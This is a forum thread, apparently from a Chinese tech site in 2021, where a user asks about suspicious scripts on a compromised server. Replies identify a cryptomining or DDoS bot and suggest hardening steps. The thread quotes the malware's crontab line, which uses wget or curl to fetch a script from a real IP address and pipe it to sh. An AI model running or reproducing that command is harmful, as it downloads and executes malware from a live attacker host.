http://185.150.117.29/x/b
帮忙分析下这些脚本是干什么的？目前看显卡并没有运行，而是定时占用大量带宽。
帮忙分析下这些脚本是干什么的？目前看显卡并没有运行，而是定时占用大量带宽。
This topic created in 1954 days ago, the information mentioned may be changed or developed.
 |
virusdefenderJul 6, 2021
1
这种一般都是挖矿
|
 |
2
15 * * * * wget http://185.150.117.29/x/b -O- | sh || curl http://185.150.117.29/x/b | sh
它在电脑里面创建了一个用户名为：ps 然后里面有一个 crontab 命令 |
 |
longbow0Jul 6, 2021
3
主要是从 185.150.117.29 下载适配了不同硬件版本的木马 bot.*
其中，bot.x86 介绍在 https://s.tencent.com/research/report/1101.html |
 |
CaffreySunJul 6, 2021
4
这个脚步比较简单，就是“感染”你的服务器，并且创建定时任务重复“感染”。
至于他“感染”你的服务做什么，得看他执行的那些“bot”开头的程序了，找大佬反编译分析一下。 或许用来挖坑。 或许用来执行网络攻击。 |
 |
wat4meJul 6, 2021
5
|
 |
AresrunJul 6, 2021
6
我之前也被入侵了。服务器上没啥东西，就重装了系统
|
 |
misszJul 6, 2021
8
把服务器做为肉鸡，用来 ddos，所以会时不时带宽拉满
|
 |
no1xsyzyJul 6, 2021
9
命令行 HTTP 客户端竟然是 wget 和 curl 而没有 lynx
我记得哪个 Unix 环境是默认只有 lynx 的来着？ |
 |
hloboJul 6, 2021 via iPhone
10
攻击它下载脚本的服务器
|
 |
changchongJul 6, 2021
11
修改端口怎么样
|
 |
yogogoJul 7, 2021
12
前几天我一台也是给挂挖矿的，后来就关端口，开 selinux，就好了
|
|
13
已经把下载的脚本清空了，目前没看到有异常情况，之前 root 密码太弱了
|
 |
guanyin8cnq12Jul 7, 2021
15
一个字，格
|
Select Language